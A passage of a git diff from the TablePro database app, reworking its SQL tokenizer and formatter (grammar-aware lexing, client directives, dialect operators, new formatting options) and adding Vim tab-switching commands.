- output += " " + options.keywordCase.synthesized("INTO") + if let next, next.upperValue == "INTO" { + output += " " + options.keywordCase.applied(upper: "INTO", original: next.value) skipCount = 1 } clauseStack.append(.insert) @@ -636,7 +1145,7 @@ internal struct SQLTokenFormatter { private mutating func handleStatementStart(kw: String, prev: SQLToken?, context: ClauseContext?) { guard startStatement(kw: kw, prev: prev) else { return } - if let ctx = context { clauseStack.append(ctx) } + if let context { clauseStack.append(context) } } // Inside parentheses, a column list or after a word it modifies, a statement keyword is part of a @@ -653,7 +1162,6 @@ internal struct SQLTokenFormatter { if !afterNewline { newline() } output += indentStr() + kw afterNewline = false - suppressNextSpace = false return true } @@ -689,6 +1197,8 @@ internal struct SQLTokenFormatter { private mutating func close(_ list: PendingList) { guard !list.separators.isEmpty else { return } let end = output.count + let items = list.separators.count - (list.hasLead ? 1 : 0) + if items == 0, !output.containsNewline(in: list.lineStart.. 0, fitsOnOneLine(list.lineStart..) -> Bool { @@ -749,12 +1260,18 @@ internal struct SQLTokenFormatter { ctx == .subquery || ctx == .createTableBody } + // Open blocks, which is what a list is keyed by. private var indent: Int { clauseStack.reduce(into: 0) { depth, ctx in if Self.isBlockContext(ctx) { depth += 1 } } } + // Where a clause of the innermost block starts: one level under the line its `(` is on. + private var base: Pad { + blockOpeners.last.map { $0.adding(levels: 1) } ?? Pad(levels: 0) + } + private mutating func replaceTop(with ctx: ClauseContext) { if !clauseStack.isEmpty { clauseStack.removeLast() } clauseStack.append(ctx) @@ -765,12 +1282,27 @@ internal struct SQLTokenFormatter { } private func indentStr() -> String { - render(Pad(levels: indent)) + render(base) } private mutating func newline() { output += "\n" afterNewline = true + linePad = base + } + + private mutating func breakLine() { + if afterNewline { + linePad = base + } else { + newline() + } + } + + // Written with no space before it: a closing paren, a comma, a call's paren. + private mutating func writeGlued(_ value: String) { + output += afterNewline ? indentStr() + value : value + afterNewline = false } private mutating func appendToken(_ value: String) { @@ -782,7 +1314,7 @@ internal struct SQLTokenFormatter { output += " " + value } afterNewline = false - suppressNextSpace = false + gluePosition = nil } } diff --git a/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift b/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift index 5549c5e8b0..31bb4a1c81 100644 --- a/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift +++ b/apple/TablePro/Core/Services/Formatting/SQLFormatterTypes.swift @@ -5,7 +5,6 @@ import Foundation -// A word the formatter writes itself, the `BY` of `ORDER BY`, has no spelling to preserve: lower case. enum SQLFormatterCase: String, Codable, CaseIterable, Sendable { case upper case lower @@ -18,13 +17,6 @@ enum SQLFormatterCase: String, Codable, CaseIterable, Sendable { case .preserve: return original } } - - func synthesized(_ upper: String) -> String { - switch self { - case .upper: return upper - case .lower, .preserve: return upper.lowercased() - } - } } enum SQLFormatterIndentStyle: String, Codable, CaseIterable, Sendable { @@ -42,7 +34,18 @@ enum SQLFormatterJoinCondition: String, Codable, CaseIterable, Sendable { case sameLine } -// The rule set the formatter runs with, and the JSON a rules file holds. +enum SQLFormatterClauseItems: String, Codable, CaseIterable, Sendable { + case sameLine + case newLine +} + +enum SQLFormatterLogicalOperatorNewline: String, Codable, CaseIterable, Sendable { + case before + case after +} + +// The rule set the formatter runs with. Settings store it under their own keys (`SQLFormatterSettings`), a rules +// file under sql-formatter's (`SQLFormatterRulesFile`). struct SQLFormatterOptions: Equatable, Sendable { static let indentWidthRange = 1...16 static let lineWidthRange = 0...1_000 @@ -56,6 +59,10 @@ struct SQLFormatterOptions: Equatable, Sendable { var lineWidth: Int = 0 var joinCondition: SQLFormatterJoinCondition = .newLine var alignAliases: Bool = false + var clauseItems: SQLFormatterClauseItems = .sameLine + var logicalOperatorNewline: SQLFormatterLogicalOperatorNewline = .before + // Applies only where the engine reads a type name in any case; ClickHouse's `String` is not `STRING`. + var dataTypeCase: SQLFormatterCase = .preserve static let `default` = SQLFormatterOptions() @@ -64,65 +71,6 @@ struct SQLFormatterOptions: Equatable, Sendable { } } -extension SQLFormatterOptions: Codable { - enum CodingKeys: String, CodingKey, CaseIterable { - case indentStyle - case indentWidth - case keywordCase - case functionCase - case commaPosition - case lineWidth - case joinCondition - case alignAliases - } - - // Strict, for files: a value this build can't read throws, a key it doesn't know is ignored. - init(from decoder: Decoder) throws { - let container = try decoder.container(keyedBy: CodingKeys.self) - let fallback = Self.default - indentStyle = try container.decodeIfPresent(SQLFormatterIndentStyle.self, forKey: .indentStyle) - ?? fallback.indentStyle - indentWidth = try Self.decodeInt(container, .indentWidth, in: Self.indentWidthRange) ?? fallback.indentWidth - keywordCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .keywordCase) ?? fallback.keywordCase - functionCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .functionCase) - ?? fallback.functionCase - commaPosition = try container.decodeIfPresent(SQLFormatterCommaPosition.self, forKey: .commaPosition) - ?? fallback.commaPosition - lineWidth = try Self.decodeInt(container, .lineWidth, in: Self.lineWidthRange) ?? fallback.lineWidth - joinCondition = try container.decodeIfPresent(SQLFormatterJoinCondition.self, forKey: .joinCondition) - ?? fallback.joinCondition - alignAliases = try container.decodeIfPresent(Bool.self, forKey: .alignAliases) ?? fallback.alignAliases - } - - func encode(to encoder: Encoder) throws { - var container = encoder.container(keyedBy: CodingKeys.self) - try container.encode(indentStyle, forKey: .indentStyle) - try container.encode(indentWidth, forKey: .indentWidth) - try container.encode(keywordCase, forKey: .keywordCase) - try container.encode(functionCase, forKey: .functionCase) - try container.encode(commaPosition, forKey: .commaPosition) - try container.encode(lineWidth, forKey: .lineWidth) - try container.encode(joinCondition, forKey: .joinCondition) - try container.encode(alignAliases, forKey: .alignAliases) - } - - private static func decodeInt( - _ container: KeyedDecodingContainer, - _ key: CodingKeys, - in range: ClosedRange - ) throws -> Int? { - guard let value = try container.decodeIfPresent(Int.self, forKey: key) else { return nil } - guard range.contains(value) else { - throw DecodingError.dataCorruptedError( - forKey: key, - in: container, - debugDescription: "\(key.stringValue) must be between \(range.lowerBound) and \(range.upperBound)" - ) - } - return value - } -} - struct SQLFormatterResult { let formattedSQL: String let cursorOffset: Int? @@ -135,20 +83,23 @@ struct SQLFormatterResult { enum SQLFormatterError: LocalizedError { case emptyInput + case inputTooLarge(maxBytes: Int) case dialectUnsupported(DatabaseType) case invalidCursorPosition(Int, max: Int) - case internalError(String) var errorDescription: String? { switch self { case .emptyInput: return String(localized: "Cannot format empty SQL") + case .inputTooLarge(let maxBytes): + return String( + format: String(localized: "The query is larger than %@, too large to format."), + ByteCountFormatter.string(fromByteCount: Int64(maxBytes), countStyle: .file) + ) case .dialectUnsupported(let type): return String(format: String(localized: "Formatting not supported for %@"), type.rawValue) case .invalidCursorPosition(let pos, let max): return String(format: String(localized: "Cursor position %d exceeds SQL length (%d)"), pos, max) - case .internalError(let message): - return String(format: String(localized: "Formatter error: %@"), message) } } } @@ -160,6 +111,10 @@ protocol SQLDialectProvider { var identifierQuote: String { get } // False where the engine rejects a built-in function spelled in another case (ClickHouse). var functionNamesAreCaseInsensitive: Bool { get } + // False where a type name is matched by exact case (ClickHouse's `String`), or the dialect does not say. + var typeNamesAreCaseInsensitive: Bool { get } + // Symbols the engine reads as one operator, such as PostgreSQL's `@>` and `#>>`. + var operators: Set { get } func isKeyword(_ token: String) -> Bool func isFunction(_ token: String) -> Bool diff --git a/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift b/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift index 0bf2a778a7..2debcf7357 100644 --- a/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift +++ b/apple/TablePro/Core/Services/Formatting/SQLTokenizer.swift @@ -2,13 +2,9 @@ // SQLTokenizer.swift // TablePro // -// Character-by-character SQL lexer producing a flat token stream. -// No regex — handles string escapes, comments, operators, and quoted identifiers. -// import Foundation - -// MARK: - Token Types +import TableProSQLGrammar enum SQLTokenType: Equatable { case keyword @@ -20,14 +16,14 @@ enum SQLTokenType: Equatable { case whitespace case comment case placeholder + // A line the client reads and the server never sees: `GO` in a T-SQL script, `DELIMITER //` in a MySQL one, + // a lone `/` in a SQL*Plus one. + case directive } -// MARK: - Token - struct SQLToken: Equatable { let type: SQLTokenType let value: String - /// Pre-computed uppercase value for keyword comparison let upperValue: String init(type: SQLTokenType, value: String) { @@ -37,11 +33,12 @@ struct SQLToken: Equatable { } } -// MARK: - Tokenizer - +// Comments, literals, quoted identifiers and batch lines end where the engine's grammar says (`SQLNonCodeSpan`), so a +// formatted query keeps every one of them byte for byte. Only code between them is split into words and operators. +// +// Without a grammar the text is read exactly as before the formatter read grammars, because the query fingerprint is +// the one caller and its hashes are stored: a different reading would split or merge history groups after an upgrade. struct SQLTokenizer { - /// Standard SQL keywords used for keyword detection. - /// Dialect-specific keywords are handled separately via SQLDialectProvider. private static let standardKeywords: Set = [ // DML "SELECT", "FROM", "WHERE", "AND", "OR", "NOT", "IN", "IS", "NULL", @@ -82,16 +79,59 @@ struct SQLTokenizer { "TOP", "PERCENT", ] - /// Additional keywords from the dialect provider + // No engine reads one of these as two valid operators, so a run written together stays together whatever the + // dialect declares: T-SQL's `+=`, SQLite's `==`, Oracle's `^=` and `**`, DuckDB's `//`. `<@` is not here: T-SQL + // reads `a<@b` as `a < @b`. + private static let commonOperators: Set = [ + ">=", "<=", "<>", "!=", "!<", "!>", "||", "::", "->", "->>", ":=", "=>", "<=>", "&&", "<<", ">>", + "+=", "-=", "*=", "/=", "%=", "&=", "|=", "^=", "~=", "==", "**", "//", + ] + private let dialectKeywords: Set + private let operatorsByFirstUnit: [UInt16: [String]] - init(dialectKeywords: Set = []) { + init(dialectKeywords: Set = [], operators: Set = []) { self.dialectKeywords = dialectKeywords + let multiCharacter = Self.commonOperators.union(operators.filter { symbol in + symbol.utf16.count > 1 && symbol.utf16.allSatisfy(Lexer.isOperatorUnit) + }) + var byFirst: [UInt16: [String]] = [:] + for symbol in multiCharacter { + guard let first = symbol.utf16.first else { continue } + byFirst[first, default: []].append(symbol) + } + self.operatorsByFirstUnit = byFirst.mapValues { $0.sorted { $0.utf16.count > $1.utf16.count } } } - // MARK: - Public API - func tokenize(_ sql: String) -> [SQLToken] { + readsWithoutGrammar(sql) + } + + func tokenize(_ sql: String, grammar: SQLLexicalGrammar) -> [SQLToken] { + var lexer = Lexer(text: sql as NSString, grammar: grammar, tokenizer: self) + return lexer.run() + } + + // The 0-based lines on which `text` holds a client directive under `grammar`. + func directiveLines(in text: String, grammar: SQLLexicalGrammar) -> Set { + var lines: Set = [] + var line = 0 + for token in tokenize(text, grammar: grammar) { + if token.type == .directive { lines.insert(line) } + line += token.value.utf16.reduce(0) { $0 + ($1 == 0x0A ? 1 : 0) } + } + return lines + } + + fileprivate func isKeyword(_ upperWord: String) -> Bool { + Self.standardKeywords.contains(upperWord) || dialectKeywords.contains(upperWord) + } + + fileprivate func operatorCandidates(startingWith unit: UInt16) -> [String] { + operatorsByFirstUnit[unit] ?? [] + } + + private func readsWithoutGrammar(_ sql: String) -> [SQLToken] { var tokens: [SQLToken] = [] let chars = Array(sql) let count = chars.count @@ -245,7 +285,7 @@ struct SQLTokenizer { continue } - // Unknown character — treat as operator + // Unknown character, treated as an operator tokens.append(SQLToken(type: .operator, value: String(ch))) i += 1 } @@ -253,3 +293,408 @@ struct SQLTokenizer { return tokens } } + +private struct Lexer { + private static let singleQuote = UInt16(UnicodeScalar("'").value) + private static let doubleQuote = UInt16(UnicodeScalar("\"").value) + private static let backtick = UInt16(UnicodeScalar("`").value) + private static let openBracket = UInt16(UnicodeScalar("[").value) + private static let closeBracket = UInt16(UnicodeScalar("]").value) + private static let closeParen = UInt16(UnicodeScalar(")").value) + private static let plus = UInt16(UnicodeScalar("+").value) + private static let minus = UInt16(UnicodeScalar("-").value) + private static let dot = UInt16(UnicodeScalar(".").value) + private static let slash = UInt16(UnicodeScalar("/").value) + private static let underscore = UInt16(UnicodeScalar("_").value) + private static let dollar = UInt16(UnicodeScalar("$").value) + private static let hash = UInt16(UnicodeScalar("#").value) + private static let at = UInt16(UnicodeScalar("@").value) + private static let colon = UInt16(UnicodeScalar(":").value) + private static let question = UInt16(UnicodeScalar("?").value) + private static let ampersand = UInt16(UnicodeScalar("&").value) + private static let newline = UInt16(UnicodeScalar("\n").value) + private static let carriageReturn = UInt16(UnicodeScalar("\r").value) + private static let space = UInt16(UnicodeScalar(" ").value) + private static let tab = UInt16(UnicodeScalar("\t").value) + private static let punctuationUnits: Set = Set("(),;.".utf16) + private static let operatorUnits: Set = Set("=<>+-*/%&|^~!@#?:$".utf16) + private static let delimiterWord = "DELIMITER" + + static func isOperatorUnit(_ unit: UInt16) -> Bool { + operatorUnits.contains(unit) + } + + let text: NSString + let length: Int + let grammar: SQLLexicalGrammar + let tokenizer: SQLTokenizer + private let batchSeparatorEnds: [Int: Int] + private var delimiter = ";" + private var atStatementStart = true + private var tokens: [SQLToken] = [] + private var index = 0 + + init(text: NSString, grammar: SQLLexicalGrammar, tokenizer: SQLTokenizer) { + self.text = text + self.length = text.length + self.grammar = grammar + self.tokenizer = tokenizer + var ends: [Int: Int] = [:] + for separator in SQLStatementScanner.batchSeparators(in: text as String, grammar: grammar) { + ends[separator.range.location] = NSMaxRange(separator.range) + } + self.batchSeparatorEnds = ends + } + + mutating func run() -> [SQLToken] { + while index < length { + step() + } + return tokens + } + + private mutating func step() { + let unit = text.character(at: index) + + if isBlank(unit) { + let start = index + while index < length, isBlank(text.character(at: index)) { + index += 1 + } + emit(.whitespace, from: start) + return + } + if let end = batchSeparatorEnds[index] { + let start = index + index = end + emit(.directive, from: start) + return + } + if unit == Self.slash, grammar.contains(.slashLineTerminators), + SQLStatementScanner.isSlashLine(text, at: index, length: length) { + let start = index + index += 1 + emit(.directive, from: start) + return + } + if readDelimiterDirective() { return } + if delimiter != ";", matches(delimiter, at: index) { + let start = index + index += (delimiter as NSString).length + emit(.punctuation, from: start) + return + } + if let span = SQLNonCodeSpan.span(at: index, in: text, grammar: grammar) { + emitSpan(span) + return + } + if isDigit(unit) || startsFraction(unit) { + readNumber() + return + } + if isWordStart(unit) { + readWord() + return + } + if readPrefixedName(unit) { return } + readOperatorOrPunctuation(unit) + } + + // MARK: - Spans + + private mutating func emitSpan(_ span: SQLNonCodeSpan.Span) { + let start = index + index = max(span.end, index + 1) + switch span.kind { + case .lineComment: + var value = substring(from: start, to: index) + while value.hasSuffix("\r") { + value.removeLast() + } + append(SQLToken(type: .comment, value: value)) + case .blockComment: + emit(.comment, from: start) + case .executableComment: + emit(.string, from: start) + case .parameter: + emit(.placeholder, from: start) + case .quoted: + let opener = text.character(at: start) + emit(opener == Self.backtick || opener == Self.openBracket ? .identifier : .string, from: start) + } + } + + // MARK: - Client directives + + // `DELIMITER //` at the start of a statement, on a line of its own, changes what ends a statement, as the mysql + // client and the import read a script. + private mutating func readDelimiterDirective() -> Bool { + guard grammar.contains(.delimiterDirective), atStatementStart, isAtLineStart(index) else { return false } + let wordLength = (Self.delimiterWord as NSString).length + guard index + wordLength < length, + substring(from: index, to: index + wordLength).uppercased() == Self.delimiterWord, + isLineBlank(text.character(at: index + wordLength)) + else { + return false + } + var end = index + wordLength + while end < length, text.character(at: end) != Self.newline { + end += 1 + } + let line = substring(from: index, to: end).trimmingCharacters(in: .whitespaces) + let newDelimiter = String(line.dropFirst(Self.delimiterWord.count)).trimmingCharacters(in: .whitespaces) + guard !newDelimiter.isEmpty else { return false } + delimiter = newDelimiter + append(SQLToken(type: .directive, value: line)) + index = end + return true + } + + private func isAtLineStart(_ position: Int) -> Bool { + var cursor = position - 1 + while cursor >= 0 { + let unit = text.character(at: cursor) + if unit == Self.newline { return true } + guard isLineBlank(unit) else { return false } + cursor -= 1 + } + return true + } + + private func matches(_ word: String, at position: Int) -> Bool { + let wordLength = (word as NSString).length + guard position + wordLength <= length else { return false } + return text.substring(with: NSRange(location: position, length: wordLength)) == word + } + + // MARK: - Numbers and words + + // A word glued to a number belongs to it: `0xFF` and `0b101` are literals, and MySQL's `2fa_codes` is a name. + private mutating func readNumber() { + let start = index + while index < length, isDigit(text.character(at: index)) || text.character(at: index) == Self.dot { + index += 1 + } + if index + 2 < length, isExponentMarker(text.character(at: index)), + [Self.plus, Self.minus].contains(text.character(at: index + 1)), isDigit(text.character(at: index + 2)) { + index += 2 + } + while index < length, continuesWord(at: index) { + index += 1 + } + let value = substring(from: start, to: index) + append(SQLToken(type: Self.isNumberLiteral(value) ? .number : .identifier, value: value)) + } + + // `.5` is a number, but the `.2fa` of MySQL's `db.2fa` is the second half of a name. + private func startsFraction(_ unit: UInt16) -> Bool { + guard unit == Self.dot, index + 1 < length, isDigit(text.character(at: index + 1)) else { return false } + guard index > 0 else { return true } + let before = text.character(at: index - 1) + return !isWordPart(before) && ![Self.backtick, Self.doubleQuote, Self.closeBracket, Self.closeParen].contains(before) + } + + // `0xFF` and `0b101` are literals; MySQL's `0bar` and `0xyz` are names, since their digits are not hex or binary. + private static func isNumberLiteral(_ value: String) -> Bool { + let lower = value.lowercased() + if lower.count > 2, lower.hasPrefix("0x") { return lower.dropFirst(2).allSatisfy(\.isHexDigit) } + if lower.count > 2, lower.hasPrefix("0b") { return lower.dropFirst(2).allSatisfy { $0 == "0" || $0 == "1" } } + return lower.allSatisfy { $0.isNumber || $0 == "." || $0 == "e" || $0 == "+" || $0 == "-" } + } + + // A literal introducer stays on its literal (`N'abc'`, `X'4D'`, `B'101'`, `_utf8mb4'a'`, `U&'d\0061'`). Any other + // word before a quote is a word (`SELECT a'alias'` is the column `a` and its alias); the formatter still writes + // the two together, so an introducer this list lacks keeps its literal. `E'...'` and `q'[...]'` are the grammar's. + private static let literalIntroducers: Set = ["N", "X", "B"] + + // MySQL's character sets, which `_name'...'` introduces (SHOW CHARACTER SET, 8.4). + private static let mySQLCharacterSets: Set = [ + "ARMSCII8", "ASCII", "BIG5", "BINARY", "CP1250", "CP1251", "CP1256", "CP1257", "CP850", "CP852", "CP866", + "CP932", "DEC8", "EUCJPMS", "EUCKR", "GB18030", "GB2312", "GBK", "GEOSTD8", "GREEK", "HEBREW", "HP8", + "KEYBCS2", "KOI8R", "KOI8U", "LATIN1", "LATIN2", "LATIN5", "LATIN7", "MACCE", "MACROMAN", "SJIS", "SWE7", + "TIS620", "UCS2", "UJIS", "UTF16", "UTF16LE", "UTF32", "UTF8", "UTF8MB3", "UTF8MB4", + ] + + private static func isLiteralIntroducer(_ upperWord: String) -> Bool { + literalIntroducers.contains(upperWord) + || (upperWord.hasPrefix("_") && mySQLCharacterSets.contains(String(upperWord.dropFirst()))) + } + + private mutating func readWord() { + let start = index + index += 1 + while index < length, continuesWord(at: index) { + index += 1 + } + let word = substring(from: start, to: index) + let upper = word.uppercased() + if tokenizer.isKeyword(upper) { + append(SQLToken(type: .keyword, value: word)) + return + } + if upper == "U", index + 1 < length, text.character(at: index) == Self.ampersand, + let span = quotedSpan(at: index + 1) { + let opener = text.character(at: index + 1) + index = span.end + append(SQLToken(type: opener == Self.singleQuote ? .string : .identifier, value: substring(from: start, to: index))) + return + } + if Self.isLiteralIntroducer(upper), index < length, text.character(at: index) == Self.singleQuote, + let span = quotedSpan(at: index) { + index = span.end + append(SQLToken(type: .string, value: substring(from: start, to: index))) + return + } + append(SQLToken(type: .identifier, value: word)) + } + + private func quotedSpan(at position: Int) -> SQLNonCodeSpan.Span? { + guard position < length else { return nil } + let unit = text.character(at: position) + guard unit == Self.singleQuote || unit == Self.doubleQuote, + let span = SQLNonCodeSpan.span(at: position, in: text, grammar: grammar), span.kind == .quoted + else { + return nil + } + return span + } + + // `@name`, `@@version`, `:name`, `$1`, `?1` and T-SQL's `#temp` and `##global` are one token each. + private mutating func readPrefixedName(_ unit: UInt16) -> Bool { + let start = index + switch unit { + case Self.question: + if let symbol = longestOperator(at: index) { + index += (symbol as NSString).length + emit(.operator, from: start) + return true + } + index += 1 + while index < length, isDigit(text.character(at: index)) { + index += 1 + } + emit(.placeholder, from: start) + return true + case Self.colon: + guard index + 1 < length, isWordPart(text.character(at: index + 1)) else { return false } + index += 1 + consumeWordParts() + emit(.placeholder, from: start) + return true + case Self.at, Self.hash: + var cursor = index + 1 + if cursor < length, text.character(at: cursor) == unit { + cursor += 1 + } + // SQLite's `@1` and T-SQL's `@1st` are parameters; `#` starts a temp table name only before a letter. + guard cursor < length, + unit == Self.at ? isWordPart(text.character(at: cursor)) : isWordStart(text.character(at: cursor)) + else { + return false + } + index = cursor + consumeWordParts() + emit(unit == Self.at ? .placeholder : .identifier, from: start) + return true + case Self.dollar: + guard index + 1 < length, isWordPart(text.character(at: index + 1)) else { return false } + index += 1 + consumeWordParts() + emit(.placeholder, from: start) + return true + default: + return false + } + } + + private mutating func consumeWordParts() { + while index < length, continuesWord(at: index) { + index += 1 + } + } + + // A custom delimiter ends a word it is glued to (`END$$`), as the mysql client and the import find it. + private func continuesWord(at position: Int) -> Bool { + guard isWordPart(text.character(at: position)) else { return false } + return delimiter == ";" || !matches(delimiter, at: position) + } + + // MARK: - Operators + + private mutating func readOperatorOrPunctuation(_ unit: UInt16) { + let start = index + if let symbol = longestOperator(at: index) { + index += (symbol as NSString).length + emit(.operator, from: start) + return + } + index += 1 + emit(Self.punctuationUnits.contains(unit) ? .punctuation : .operator, from: start) + } + + private func longestOperator(at position: Int) -> String? { + tokenizer.operatorCandidates(startingWith: text.character(at: position)).first { matches($0, at: position) } + } + + // MARK: - Characters + + private func isBlank(_ unit: UInt16) -> Bool { + switch unit { + case Self.space, Self.tab, Self.newline, Self.carriageReturn, 0x0B, 0x0C, 0x2028, 0x2029: + return true + default: + return SQLSeparatingCharacter.kind(of: unit) == .nonASCIISpace + } + } + + private func isLineBlank(_ unit: UInt16) -> Bool { + unit == Self.space || unit == Self.tab + } + + private func isDigit(_ unit: UInt16) -> Bool { + unit >= 0x30 && unit <= 0x39 + } + + private func isExponentMarker(_ unit: UInt16) -> Bool { + unit == UInt16(UnicodeScalar("e").value) || unit == UInt16(UnicodeScalar("E").value) + } + + private func isWordStart(_ unit: UInt16) -> Bool { + if unit < 0x80 { + return SqlDollarQuote.isIdentifierStart(unit) + } + return !isBlank(unit) && !SQLSeparatingCharacter.isSeparating(unit) + } + + // `$` continues a name on every engine that has one in a name; `#` and `@` only where the grammar says (Oracle's + // `v$session` and `SYS#`, T-SQL's `Part#` and `c@d`), since MySQL reads `a#b` as `a` and a comment. + private func isWordPart(_ unit: UInt16) -> Bool { + if isWordStart(unit) || isDigit(unit) || unit == Self.dollar { return true } + if unit == Self.at { return grammar.contains(.hashAndAtInIdentifiers) } + return unit == Self.hash && !grammar.isDisjoint(with: [.dollarAndHashInIdentifiers, .hashAndAtInIdentifiers]) + } + + // MARK: - Output + + private mutating func emit(_ type: SQLTokenType, from start: Int) { + append(SQLToken(type: type, value: substring(from: start, to: index))) + } + + private mutating func append(_ token: SQLToken) { + tokens.append(token) + switch token.type { + case .whitespace, .comment: + break + case .directive: + atStatementStart = true + case .punctuation: + atStatementStart = token.value == delimiter + default: + atStatementStart = false + } + } + + private func substring(from start: Int, to end: Int) -> String { + text.substring(with: NSRange(location: start, length: end - start)) + } +} diff --git a/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift b/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift index 3967c77aa8..f7d2f6faeb 100644 --- a/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift +++ b/apple/TablePro/Core/Services/Query/SQLDialectProvider.swift @@ -16,6 +16,8 @@ struct PluginDialectAdapter: SQLDialectProvider { let functions: Set let dataTypes: Set let functionNamesAreCaseInsensitive: Bool + let typeNamesAreCaseInsensitive: Bool + let operators: Set init(descriptor: SQLDialectDescriptor) { self.identifierQuote = descriptor.identifierQuote @@ -23,6 +25,8 @@ struct PluginDialectAdapter: SQLDialectProvider { self.functions = descriptor.functions self.dataTypes = descriptor.dataTypes self.functionNamesAreCaseInsensitive = descriptor.functionNamesAreCaseInsensitive + self.typeNamesAreCaseInsensitive = descriptor.typeNamesAreCaseInsensitive + self.operators = Set(descriptor.operators.map(\.symbol)) } } @@ -34,6 +38,8 @@ private struct EmptyDialect: SQLDialectProvider { let functions: Set = [] let dataTypes: Set = [] let functionNamesAreCaseInsensitive = false + let typeNamesAreCaseInsensitive = false + let operators: Set = [] } // MARK: - Dialect Factory diff --git a/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift b/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift index 9982e24dbb..61e756f2ae 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLQueryFingerprint.swift @@ -66,7 +66,7 @@ enum SQLQueryFingerprint { } switch token.type { - case .comment, .whitespace: + case .comment, .whitespace, .directive: continue case .number, .placeholder: @@ -189,7 +189,7 @@ enum SQLQueryFingerprint { return previousValue != "]" case .punctuation: return signPrecedingPunctuation.contains(previousValue) - case .identifier, .number, .string, .placeholder, .comment, .whitespace: + case .identifier, .number, .string, .placeholder, .comment, .whitespace, .directive: return false } } diff --git a/apple/TablePro/Core/Vim/VimCommandLineHandler.swift b/apple/TablePro/Core/Vim/VimCommandLineHandler.swift index 9f1ab06b3b..4d477dfcda 100644 --- a/apple/TablePro/Core/Vim/VimCommandLineHandler.swift +++ b/apple/TablePro/Core/Vim/VimCommandLineHandler.swift @@ -2,20 +2,34 @@ // VimCommandLineHandler.swift // TablePro // -// Handles Vim command-line commands (:w, :q, etc.) -// import Foundation -/// Handles Vim command-line commands struct VimCommandLineHandler { - /// Callback to execute the current query (:w) var onExecuteQuery: (() -> Void)? - - /// Callback to close the current tab (:q) var onCloseTab: (() -> Void)? + // 1-based position in the tab strip. + var onSelectTab: ((Int) -> Void)? + var onSelectAdjacentTab: ((Int) -> Void)? + var tabCount: (() -> Int)? + + // A count with no tab strip to measure it against stops here, past any strip's length. + private static let countLimit = 999_999 + + private enum TabCommand { + case next + case previous + } + + // Each spelling Vim accepts, from the shortest abbreviation to the full name. + private static let tabCommands: [String: TabCommand] = { + var names: [String: TabCommand] = [:] + for end in 4...7 { names[String("tabnext".prefix(end))] = .next } + for end in 4...11 { names[String("tabprevious".prefix(end))] = .previous } + for end in 4...7 { names[String("tabNext".prefix(end))] = .previous } + return names + }() - /// Process a command string (without the leading : or /) func handle(_ command: String) { let trimmed = command.trimmingCharacters(in: .whitespaces) @@ -25,7 +39,66 @@ struct VimCommandLineHandler { case "q": onCloseTab?() default: - break // Unknown commands are silently ignored + handleTabCommand(trimmed) + } + } + + private func handleTabCommand(_ command: String) { + let parts = command.split(separator: " ", omittingEmptySubsequences: true) + guard let name = parts.first, parts.count <= 2, + let tabCommand = Self.tabCommands[String(name)] else { return } + let argument = parts.count == 2 ? String(parts[1]) : nil + + switch tabCommand { + case .next: + guard let argument else { + onSelectAdjacentTab?(1) + return + } + if argument.hasPrefix("+") || argument.hasPrefix("-") { + guard let offset = relativeCount(argument.dropFirst()) else { return } + onSelectAdjacentTab?(argument.hasPrefix("-") ? -offset : offset) + } else if let number = absoluteCount(Substring(argument)) { + onSelectTab?(number) + } + case .previous: + guard let argument else { + onSelectAdjacentTab?(-1) + return + } + guard let count = relativeCount(Substring(argument)) else { return } + onSelectAdjacentTab?(-count) + } + } + + private var tabs: Int? { + tabCount.map { $0() }.flatMap { $0 > 0 ? $0 : nil } + } + + // Past the last tab is the last tab, as Vim's `goto_tabpage` reads it. + private func absoluteCount(_ text: Substring) -> Int? { + Self.count(text, cap: tabs ?? Self.countLimit, modulus: nil) + } + + // Moving by a multiple of the tab count lands where it started, so the move is reduced to less than one lap. + private func relativeCount(_ text: Substring) -> Int? { + Self.count(text, cap: Self.countLimit, modulus: tabs) + } + + // Read a digit at a time, so a count of any length neither overflows nor leaves the bound. + private static func count(_ text: Substring, cap: Int, modulus: Int?) -> Int? { + guard !text.isEmpty else { return nil } + var value = 0 + var isZero = true + for character in text { + guard ("0"..."9").contains(character), let digit = character.wholeNumberValue else { return nil } + isZero = isZero && digit == 0 + if let modulus { + value = (value * 10 + digit) % modulus + } else { + value = min(value * 10 + digit, cap) + } } + return isZero ? nil : value } } diff --git a/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift b/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift index 697417c5d2..52fd42aac5 100644 --- a/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift +++ b/apple/TablePro/Core/Vim/VimEngine+NormalMode.swift @@ -570,6 +570,20 @@ extension VimEngine { case "J": joinLines(consumeCount(), withSpace: false, in: buffer) return true + case "t", "T": + let count = countPrefix + countPrefix = 0 + operatorCount = 0 + guard pendingOperator == nil else { + pendingOperator = nil + return true + } + if char == "t" { + onCommand?(count > 0 ? "tabnext \(count)" : "tabnext") + } else { + onCommand?("tabprevious \(max(count, 1))") + } + return true case "u": if pendingOperator == .lowercase { applyCaseToLine(.lowercase, count: consumeCount(), in: buffer) diff --git a/apple/TablePro/Core/Vim/VimEngine+Operators.swift b/apple/TablePro/Core/Vim/VimEngine+Operators.swift index ef2c795ddc..9c03d4dbbe 100644 --- a/apple/TablePro/Core/Vim/VimEngine+Operators.swift +++ b/apple/TablePro/Core/Vim/VimEngine+Operators.swift @@ -234,9 +234,7 @@ extension VimEngine { guard deleteCount > 0 else { return } let start = pos - deleteCount let range = NSRange(location: start, length: deleteCount) - register.text = buffer.string(in: range) - register.isLinewise = false - register.syncToPasteboard() + writeToActiveRegister(text: buffer.string(in: range), linewise: false, asDelete: true) buffer.replaceCharacters(in: range, with: "") buffer.setSelectedRange(NSRange(location: start, length: 0)) } @@ -251,9 +249,7 @@ extension VimEngine { let deleteCount = min(count, 